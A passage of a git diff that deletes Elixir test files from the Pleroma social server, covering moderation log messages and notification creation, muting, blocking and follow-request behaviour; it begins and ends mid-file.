user.id, activity_id: react.id) - - assert %{type: "pleroma:emoji_reaction"} = - Repo.get_by(Notification, user_id: user.id, activity_id: react_2.id) - - assert %{type: "pleroma:chat_mention"} = - Repo.get_by(Notification, user_id: other_user.id, activity_id: chat.id) - end - end -end diff --git a/test/moderation_log_test.exs b/test/moderation_log_test.exs deleted file mode 100644 index 59f4d67f8..000000000 --- a/test/moderation_log_test.exs +++ /dev/null @@ -1,297 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ModerationLogTest do - alias Pleroma.Activity - alias Pleroma.ModerationLog - - use Pleroma.DataCase - - import Pleroma.Factory - - describe "user moderation" do - setup do - admin = insert(:user, is_admin: true) - moderator = insert(:user, is_moderator: true) - subject1 = insert(:user) - subject2 = insert(:user) - - [admin: admin, moderator: moderator, subject1: subject1, subject2: subject2] - end - - test "logging user deletion by moderator", %{moderator: moderator, subject1: subject1} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - subject: [subject1], - action: "delete" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == "@#{moderator.nickname} deleted users: @#{subject1.nickname}" - end - - test "logging user creation by moderator", %{ - moderator: moderator, - subject1: subject1, - subject2: subject2 - } do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - subjects: [subject1, subject2], - action: "create" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} created users: @#{subject1.nickname}, @#{subject2.nickname}" - end - - test "logging user follow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: admin, - followed: subject1, - follower: subject2, - action: "follow" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{admin.nickname} made @#{subject2.nickname} follow @#{subject1.nickname}" - end - - test "logging user unfollow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: admin, - followed: subject1, - follower: subject2, - action: "unfollow" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{admin.nickname} made @#{subject2.nickname} unfollow @#{subject1.nickname}" - end - - test "logging user tagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: admin, - nicknames: [subject1.nickname, subject2.nickname], - tags: ["foo", "bar"], - action: "tag" - }) - - log = Repo.one(ModerationLog) - - users = - [subject1.nickname, subject2.nickname] - |> Enum.map(&"@#{&1}") - |> Enum.join(", ") - - tags = ["foo", "bar"] |> Enum.join(", ") - - assert log.data["message"] == "@#{admin.nickname} added tags: #{tags} to users: #{users}" - end - - test "logging user untagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: admin, - nicknames: [subject1.nickname, subject2.nickname], - tags: ["foo", "bar"], - action: "untag" - }) - - log = Repo.one(ModerationLog) - - users = - [subject1.nickname, subject2.nickname] - |> Enum.map(&"@#{&1}") - |> Enum.join(", ") - - tags = ["foo", "bar"] |> Enum.join(", ") - - assert log.data["message"] == - "@#{admin.nickname} removed tags: #{tags} from users: #{users}" - end - - test "logging user grant by moderator", %{moderator: moderator, subject1: subject1} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - subject: [subject1], - action: "grant", - permission: "moderator" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == "@#{moderator.nickname} made @#{subject1.nickname} moderator" - end - - test "logging user revoke by moderator", %{moderator: moderator, subject1: subject1} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - subject: [subject1], - action: "revoke", - permission: "moderator" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} revoked moderator role from @#{subject1.nickname}" - end - - test "logging relay follow", %{moderator: moderator} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "relay_follow", - target: "https://example.org/relay" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} followed relay: https://example.org/relay" - end - - test "logging relay unfollow", %{moderator: moderator} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "relay_unfollow", - target: "https://example.org/relay" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} unfollowed relay: https://example.org/relay" - end - - test "logging report update", %{moderator: moderator} do - report = %Activity{ - id: "9m9I1F4p8ftrTP6QTI", - data: %{ - "type" => "Flag", - "state" => "resolved" - } - } - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "report_update", - subject: report - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} updated report ##{report.id} with 'resolved' state" - end - - test "logging report response", %{moderator: moderator} do - report = %Activity{ - id: "9m9I1F4p8ftrTP6QTI", - data: %{ - "type" => "Note" - } - } - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "report_note", - subject: report, - text: "look at this" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} added note 'look at this' to report ##{report.id}" - end - - test "logging status sensitivity update", %{moderator: moderator} do - note = insert(:note_activity) - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "status_update", - subject: note, - sensitive: "true", - visibility: nil - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true'" - end - - test "logging status visibility update", %{moderator: moderator} do - note = insert(:note_activity) - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "status_update", - subject: note, - sensitive: nil, - visibility: "private" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} updated status ##{note.id}, set visibility: 'private'" - end - - test "logging status sensitivity & visibility update", %{moderator: moderator} do - note = insert(:note_activity) - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "status_update", - subject: note, - sensitive: "true", - visibility: "private" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true', visibility: 'private'" - end - - test "logging status deletion", %{moderator: moderator} do - note = insert(:note_activity) - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "status_delete", - subject_id: note.id - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == "@#{moderator.nickname} deleted status ##{note.id}" - end - end -end diff --git a/test/notification_test.exs b/test/notification_test.exs deleted file mode 100644 index f2e0f0b0d..000000000 --- a/test/notification_test.exs +++ /dev/null @@ -1,1144 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.NotificationTest do - use Pleroma.DataCase - - import Pleroma.Factory - import Mock - - alias Pleroma.FollowingRelationship - alias Pleroma.Notification - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.NotificationView - alias Pleroma.Web.Push - alias Pleroma.Web.Streamer - - describe "create_notifications" do - test "never returns nil" do - user = insert(:user) - other_user = insert(:user, %{invisible: true}) - - {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) - {:ok, activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - - refute {:ok, [nil]} == Notification.create_notifications(activity) - end - - test "creates a notification for an emoji reaction" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) - {:ok, activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - - {:ok, [notification]} = Notification.create_notifications(activity) - - assert notification.user_id == user.id - assert notification.type == "pleroma:emoji_reaction" - end - - test "notifies someone when they are directly addressed" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname} and @#{third_user.nickname}" - }) - - {:ok, [notification, other_notification]} = Notification.create_notifications(activity) - - notified_ids = Enum.sort([notification.user_id, other_notification.user_id]) - assert notified_ids == [other_user.id, third_user.id] - assert notification.activity_id == activity.id - assert notification.type == "mention" - assert other_notification.activity_id == activity.id - - assert [%Pleroma.Marker{unread_count: 2}] = - Pleroma.Marker.get_markers(other_user, ["notifications"]) - end - - test "it creates a notification for subscribed users" do - user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, user) - - {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) - {:ok, [notification]} = Notification.create_notifications(status) - - assert notification.user_id == subscriber.id - end - - test "does not create a notification for subscribed users if status is a reply" do - user = insert(:user) - other_user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, other_user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - {:ok, _reply_activity} = - CommonAPI.post(other_user, %{ - status: "test reply", - in_reply_to_status_id: activity.id - }) - - user_notifications = Notification.for_user(user) - assert length(user_notifications) == 1 - - subscriber_notifications = Notification.for_user(subscriber) - assert Enum.empty?(subscriber_notifications) - end - end - - describe "CommonApi.post/2 notification-related functionality" do - test_with_mock "creates but does NOT send notification to blocker user", - Push, - [:passthrough], - [] do - user = insert(:user) - blocker = insert(:user) - {:ok, _user_relationship} = User.block(blocker, user) - - {:ok, _activity} = CommonAPI.post(user, %{status: "hey @#{blocker.nickname}!"}) - - blocker_id = blocker.id - assert [%Notification{user_id: ^blocker_id}] = Repo.all(Notification) - refute called(Push.send(:_)) - end - - test_with_mock "creates but does NOT send notification to notification-muter user", - Push, - [:passthrough], - [] do - user = insert(:user) - muter = insert(:user) - {:ok, _user_relationships} = User.mute(muter, user) - - {:ok, _activity} = CommonAPI.post(user, %{status: "hey @#{muter.nickname}!"}) - - muter_id = muter.id - assert [%Notification{user_id: ^muter_id}] = Repo.all(Notification) - refute called(Push.send(:_)) - end - - test_with_mock "creates but does NOT send notification to thread-muter user", - Push, - [:passthrough], - [] do - user = insert(:user) - thread_muter = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{thread_muter.nickname}!"}) - - {:ok, _} = CommonAPI.add_mute(thread_muter, activity) - - {:ok, _same_context_activity} = - CommonAPI.post(user, %{ - status: "hey-hey-hey @#{thread_muter.nickname}!", - in_reply_to_status_id: activity.id - }) - - [pre_mute_notification, post_mute_notification] = - Repo.all(from(n in Notification, where: n.user_id == ^thread_muter.id, order_by: n.id)) - - pre_mute_notification_id = pre_mute_notification.id - post_mute_notification_id = post_mute_notification.id - - assert called( - Push.send( - :meck.is(fn - %Notification{id: ^pre_mute_notification_id} -> true - _ -> false - end) - ) - ) - - refute called( - Push.send( - :meck.is(fn - %Notification{id: ^post_mute_notification_id} -> true - _ -> false - end) - ) - ) - end - end - - describe "create_notification" do - @tag needs_streamer: true - test "it creates a notification for user and send to the 'user' and the 'user:notification' stream" do - %{user: user, token: oauth_token} = oauth_access(["read"]) - - task = - Task.async(fn -> - {:ok, _topic} = Streamer.get_topic_and_add_socket("user", user, oauth_token) - assert_receive {:render_with_user, _, _, _}, 4_000 - end) - - task_user_notification = - Task.async(fn -> - {:ok, _topic} = - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - - assert_receive {:render_with_user, _, _, _}, 4_000 - end) - - activity = insert(:note_activity) - - notify = Notification.create_notification(activity, user) - assert notify.user_id == user.id - Task.await(task) - Task.await(task_user_notification) - end - - test "it creates a notification for user if the user blocks the activity author" do - activity = insert(:note_activity) - author = User.get_cached_by_ap_id(activity.data["actor"]) - user = insert(:user) - {:ok, _user_relationship} = User.block(user, author) - - assert Notification.create_notification(activity, user) - end - - test "it creates a notification for the user if the user mutes the activity author" do - muter = insert(:user) - muted = insert(:user) - {:ok, _} = User.mute(muter, muted) - muter = Repo.get(User, muter.id) - {:ok, activity} = CommonAPI.post(muted, %{status: "Hi @#{muter.nickname}"}) - - notification = Notification.create_notification(activity, muter) - - assert notification.id - assert notification.seen - end - - test "notification created if user is muted without notifications" do - muter = insert(:user) - muted = insert(:user) - - {:ok, _user_relationships} = User.mute(muter, muted, false) - - {:ok, activity} = CommonAPI.post(muted, %{status: "Hi @#{muter.nickname}"}) - - assert Notification.create_notification(activity, muter) - end - - test "it creates a notification for an activity from a muted thread" do - muter = insert(:user) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(muter, %{status: "hey"}) - CommonAPI.add_mute(muter, activity) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "Hi @#{muter.nickname}", - in_reply_to_status_id: activity.id - }) - - notification = Notification.create_notification(activity, muter) - - assert notification.id - assert notification.seen - end - - test "it disables notifications from strangers" do - follower = insert(:user) - - followed = - insert(:user, - notification_settings: %Pleroma.User.NotificationSetting{block_from_strangers: true} - ) - - {:ok, activity} = CommonAPI.post(follower, %{status: "hey @#{followed.nickname}"}) - refute Notification.create_notification(activity, followed) - end - - test "it doesn't create a notification for user if he is the activity author" do - activity = insert(:note_activity) - author = User.get_cached_by_ap_id(activity.data["actor"]) - - refute Notification.create_notification(activity, author) - end - - test "it doesn't create duplicate notifications for follow+subscribed users" do - user = insert(:user) - subscriber = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(subscriber, user) - User.subscribe(subscriber, user) - {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) - {:ok, [_notif]} = Notification.create_notifications(status) - end - - test "it doesn't create subscription notifications if the recipient cannot see the status" do - user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, user) - - {:ok, status} = CommonAPI.post(user, %{status: "inwisible", visibility: "direct"}) - - assert {:ok, []} == Notification.create_notifications(status) - end - - test "it disables notifications from people who are invisible" do - author = insert(:user, invisible: true) - user = insert(:user) - - {:ok, status} = CommonAPI.post(author, %{status: "hey @#{user.nickname}"}) - refute Notification.create_notification(status, user) - end - - test "it doesn't create notifications if content matches with an irreversible filter" do - user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, user) - insert(:filter, user: subscriber, phrase: "cofe", hide: true) - - {:ok, status} = CommonAPI.post(user, %{status: "got cofe?"}) - - assert {:ok, []} == Notification.create_notifications(status) - end - - test "it creates notifications if content matches with a not irreversible filter" do - user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, user) - insert(:filter, user: subscriber, phrase: "cofe", hide: false) - - {:ok, status} = CommonAPI.post(user, %{status: "got cofe?"}) - {:ok, [notification]} = Notification.create_notifications(status) - - assert notification - refute notification.seen - end - - test "it creates notifications when someone likes user's status with a filtered word" do - user = insert(:user) - other_user = insert(:user) - insert(:filter, user: user, phrase: "tesla", hide: true) - - {:ok, activity_one} = CommonAPI.post(user, %{status: "wow tesla"}) - {:ok, activity_two} = CommonAPI.favorite(other_user, activity_one.id) - - {:ok, [notification]} = Notification.create_notifications(activity_two) - - assert notification - refute notification.seen - end - end - - describe "follow / follow_request notifications" do - test "it creates `follow` notification for approved Follow activity" do - user = insert(:user) - followed_user = insert(:user, locked: false) - - {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) - assert FollowingRelationship.following?(user, followed_user) - assert [notification] = Notification.for_user(followed_user) - - assert %{type: "follow"} = - NotificationView.render("show.json", %{ - notification: notification, - for: followed_user - }) - end - - test "it creates `follow_request` notification for pending Follow activity" do - user = insert(:user) - followed_user = insert(:user, locked: true) - - {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) - refute FollowingRelationship.following?(user, followed_user) - assert [notification] = Notification.for_user(followed_user) - - render_opts = %{notification: notification, for: followed_user} - assert %{type: "follow_request"} = NotificationView.render("show.json", render_opts) - - # After request is accepted, the same notification is rendered with type "follow": - assert {:ok, _} = CommonAPI.accept_follow_request(user, followed_user) - - notification = - Repo.get(Notification, notification.id) - |> Repo.preload(:activity) - - assert %{type: "follow"} = - NotificationView.render("show.json", notification: notification, for: followed_user) - end - - test "it doesn't create a notification for follow-unfollow-follow chains" do - user = insert(:user) - followed_user = insert(:user, locked: false) - - {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) - assert FollowingRelationship.following?(user, followed_user) - assert [notification] = Notification.for_user(followed_user) - - CommonAPI.unfollow(user, followed_user) - {:ok, _, _, _activity_dupe} = CommonAPI.follow(user, followed_user) - - notification_id = notification.id - assert [%{id: ^notification_id}] = Notification.for_user(followed_user) - end - - test "dismisses the notification on follow request rejection" do - user = insert(:user, locked: true) - follower = insert(:user) - {:ok, _, _, _follow_activity} = CommonAPI.follow(follower, user) - assert [notification] = Notification.for_user(user) - {:ok, _follower} = CommonAPI.reject_follow_request(follower, user) - assert [] = Notification.for_user(user) - end - end - - describe "get notification" do - test "it gets a notification that belongs to the user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - {:ok, notification} = Notification.get(other_user, notification.id) - - assert notification.user_id == other_user.id - end - - test "it returns error if the notification doesn't belong to the user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - {:error, _notification} = Notification.get(user, notification.id) - end - end - - describe "dismiss notification" do - test "it dismisses a notification that belongs to the user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - {:ok, notification} = Notification.dismiss(other_user, notification.id) - - assert notification.user_id == other_user.id - end - - test "it returns error if the notification doesn't belong to the user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - {:error, _notification} = Notification.dismiss(user, notification.id) - end - end - - describe "clear notification" do - test "it clears all notifications belonging to the user" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname} and @#{third_user.nickname} !" - }) - - {:ok, _notifs} = Notification.create_notifications(activity) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "hey again @#{other_user.nickname} and @#{third_user.nickname} !" - }) - - {:ok, _notifs} = Notification.create_notifications(activity) - Notification.clear(other_user) - - assert Notification.for_user(other_user) == [] - assert Notification.for_user(third_user) != [] - end - end - - describe "set_read_up_to()" do - test "it sets all notifications as read up to a specified notification ID" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}!" - }) - - {:ok, _activity} = - CommonAPI.post(user, %{ - status: "hey again @#{other_user.nickname}!" - }) - - [n2, n1] = Notification.for_user(other_user) - - assert n2.id > n1.id - - {:ok, _activity} = - CommonAPI.post(user, %{ - status: "hey yet again @#{other_user.nickname}!" - }) - - [_, read_notification] = Notification.set_read_up_to(other_user, n2.id) - - assert read_notification.activity.object - - [n3, n2, n1] = Notification.for_user(other_user) - - assert n1.seen == true - assert n2.seen == true - assert n3.seen == false - - assert %Pleroma.Marker{} = - m = - Pleroma.Repo.get_by( - Pleroma.Marker, - user_id: other_user.id, - timeline: "notifications" - ) - - assert m.last_read_id == to_string(n2.id) - end - end - - describe "for_user_since/2" do - defp days_ago(days) do - NaiveDateTime.add( - NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), - -days * 60 * 60 * 24, - :second - ) - end - - test "Returns recent notifications" do - user1 = insert(:user) - user2 = insert(:user) - - Enum.each(0..10, fn i -> - {:ok, _activity} = - CommonAPI.post(user1, %{ - status: "hey ##{i} @#{user2.nickname}!" - }) - end) - - {old, new} = Enum.split(Notification.for_user(user2), 5) - - Enum.each(old, fn notification -> - notification - |> cast(%{updated_at: days_ago(10)}, [:updated_at]) - |> Pleroma.Repo.update!() - end) - - recent_notifications_ids = - user2 - |> Notification.for_user_since( - NaiveDateTime.add(NaiveDateTime.utc_now(), -5 * 86_400, :second) - ) - |> Enum.map(& &1.id) - - Enum.each(old, fn %{id: id} -> - refute id in recent_notifications_ids - end) - - Enum.each(new, fn %{id: id} -> - assert id in recent_notifications_ids - end) - end - end - - describe "notification target determination / get_notified_from_activity/2" do - test "it sends notifications to addressed users in new messages" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}!" - }) - - {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert other_user in enabled_receivers - end - - test "it sends notifications to mentioned users in new messages" do - user = insert(:user) - other_user = insert(:user) - - create_activity = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "actor" => user.ap_id, - "object" => %{ - "type" => "Note", - "content" => "message with a Mention tag, but no explicit tagging", - "tag" => [ - %{ - "type" => "Mention", - "href" => other_user.ap_id, - "name" => other_user.nickname - } - ], - "attributedTo" => user.ap_id - } - } - - {:ok, activity} = Transmogrifier.handle_incoming(create_activity) - - {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert other_user in enabled_receivers - end - - test "it does not send notifications to users who are only cc in new messages" do - user = insert(:user) - other_user = insert(:user) - - create_activity = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [other_user.ap_id], - "actor" => user.ap_id, - "object" => %{ - "type" => "Note", - "content" => "hi everyone", - "attributedTo" => user.ap_id - } - } - - {:ok, activity} = Transmogrifier.handle_incoming(create_activity) - - {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert other_user not in enabled_receivers - end - - test "it does not send notification to mentioned users in likes" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity_one} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}!" - }) - - {:ok, activity_two} = CommonAPI.favorite(third_user, activity_one.id) - - {enabled_receivers, _disabled_receivers} = - Notification.get_notified_from_activity(activity_two) - - assert other_user not in enabled_receivers - end - - test "it only notifies the post's author in likes" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity_one} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}!" - }) - - {:ok, like_data, _} = Builder.like(third_user, activity_one.object) - - {:ok, like, _} = - like_data - |> Map.put("to", [other_user.ap_id | like_data["to"]]) - |> ActivityPub.persist(local: true) - - {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(like) - - assert other_user not in enabled_receivers - end - - test "it does not send notification to mentioned users in announces" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity_one} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}!" - }) - - {:ok, activity_two} = CommonAPI.repeat(activity_one.id, third_user) - - {enabled_receivers, _disabled_receivers} = - Notification.get_notified_from_activity(activity_two) - - assert other_user not in enabled_receivers - end - - test "it returns blocking recipient in disabled recipients list" do - user = insert(:user) - other_user = insert(:user) - {:ok, _user_relationship} = User.block(other_user, user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) - - {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert [] == enabled_receivers - assert [other_user] == disabled_receivers - end - - test "it returns notification-muting recipient in disabled recipients list" do - user = insert(:user) - other_user = insert(:user) - {:ok, _user_relationships} = User.mute(other_user, user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) - - {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert [] == enabled_receivers - assert [other_user] == disabled_receivers - end - - test "it returns thread-muting recipient in disabled recipients list" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) - - {:ok, _} = CommonAPI.add_mute(other_user, activity) - - {:ok, same_context_activity} = - CommonAPI.post(user, %{ - status: "hey-hey-hey @#{other_user.nickname}!", - in_reply_to_status_id: activity.id - }) - - {enabled_receivers, disabled_receivers} = - Notification.get_notified_from_activity(same_context_activity) - - assert [other_user] == disabled_receivers - refute other_user in enabled_receivers - end - - test "it returns non-following domain-blocking recipient in disabled recipients list" do - blocked_domain = "blocked.domain" - user = insert(:user, %{ap_id: "https://#{blocked_domain}/@actor"}) - other_user = insert(:user) - - {:ok, other_user} = User.block_domain(other_user, blocked_domain) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) - - {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert [] == enabled_receivers - assert [other_user] == disabled_receivers - end - - test "it returns following domain-blocking recipient in enabled recipients list" do - blocked_domain = "blocked.domain" - user = insert(:user, %{ap_id: "https://#{blocked_domain}/@actor"}) - other_user = insert(:user) - - {:ok, other_user} = User.block_domain(other_user, blocked_domain) - {:ok, other_user} = User.follow(other_user, user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) - - {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert [other_user] == enabled_receivers - assert [] == disabled_receivers - end - end - - describe "notification lifecycle" do - test "liking an activity results in 1 notification, then 0 if the activity is deleted" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - assert length(Notification.for_user(user)) == 1 - - {:ok, _} = CommonAPI.delete(activity.id, user) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "liking an activity results in 1 notification, then 0 if the activity is unliked" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - assert length(Notification.for_user(user)) == 1 - - {:ok, _} = CommonAPI.unfavorite(activity.id, other_user) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "repeating an activity results in 1 notification, then 0 if the activity is deleted" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _} = CommonAPI.repeat(activity.id, other_user) - - assert length(Notification.for_user(user)) == 1 - - {:ok, _} = CommonAPI.delete(activity.id, user) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "repeating an activity results in 1 notification, then 0 if the activity is unrepeated" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _} = CommonAPI.repeat(activity.id, other_user) - - assert length(Notification.for_user(user)) == 1 - - {:ok, _} = CommonAPI.unrepeat(activity.id, other_user) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "liking an activity which is already deleted does not generate a notification" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) - - assert Enum.empty?(Notification.for_user(user)) - - {:error, :not_found} = CommonAPI.favorite(other_user, activity.id) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "repeating an activity which is already deleted does not generate a notification" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) - - assert Enum.empty?(Notification.for_user(user)) - - {:error, _} = CommonAPI.repeat(activity.id, other_user) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "replying to a deleted post without tagging does not generate a notification" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) - - {:ok, _reply_activity} = - CommonAPI.post(other_user, %{ - status: "test reply", - in_reply_to_status_id: activity.id - }) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "notifications are deleted if a local user is deleted" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "hi @#{other_user.nickname}", visibility: "direct"}) - - refute Enum.empty?(Notification.for_user(other_user)) - - {:ok, job} = User.delete(user) - ObanHelpers.perform(job) - - assert Enum.empty?(Notification.for_user(other_user)) - end - - test "notifications are deleted if a remote user is deleted" do - remote_user = insert(:user) - local_user = insert(:user) - - dm_message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Create", - "actor" => remote_user.ap_id, - "id" => remote_user.ap_id <> "/activities/test", - "to" => [local_user.ap_id], - "cc" => [], - "object" => %{ - "type" => "Note", - "content" => "Hello!", - "tag" => [ - %{ - "type" => "Mention", - "href" => local_user.ap_id, - "name" => "@#{local_user.nickname}" - } - ], - "to" => [local_user.ap_id], - "cc" => [], - "attributedTo" => remote_user.ap_id - } - } - - {:ok, _dm_activity} = Transmogrifier.handle_incoming(dm_message) - - refute Enum.empty?(Notification.for_user(local_user)) - - delete_user_message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => remote_user.ap_id <> "/activities/delete", - "actor" => remote_user.ap_id, - "type" => "Delete", - "object" => remote_user.ap_id - } - - remote_user_url = remote_user.ap_id - - Tesla.Mock.mock(fn - %{method: :get, url: ^remote_user_url} -> - %Tesla.Env{status: 404, body: ""} - 